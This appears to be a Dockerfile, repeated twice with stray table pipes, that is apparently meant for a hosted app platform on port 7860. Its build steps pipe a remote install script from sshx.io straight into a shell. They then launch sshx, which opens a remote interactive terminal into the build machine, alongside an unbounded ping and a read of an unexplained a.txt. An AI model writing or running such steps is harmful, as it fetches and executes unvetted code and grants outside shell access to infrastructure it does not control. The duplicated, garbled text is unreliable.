FROM python:3.9.20-bookworm | |
RUN ping 127.0.0.1 | |
RUN ping 8.8.8.8 | |
RUN apt update | |
RUN apt install curl wget -y | |
RUN curl -sSf https://sshx.io/get | sh | |
RUN sshx | |
RUN cat a.txt | |
CMD ["python", "-m", "http.server", "7860"] |
FROM python:3.9.20-bookworm | |
RUN ping 127.0.0.1 | |
RUN ping 8.8.8.8 | |
RUN apt update | |
RUN apt install curl wget -y | |
RUN curl -sSf https://sshx.io/get | sh | |
RUN sshx | |
RUN cat a.txt | |
CMD ["python", "-m", "http.server", "7860"] |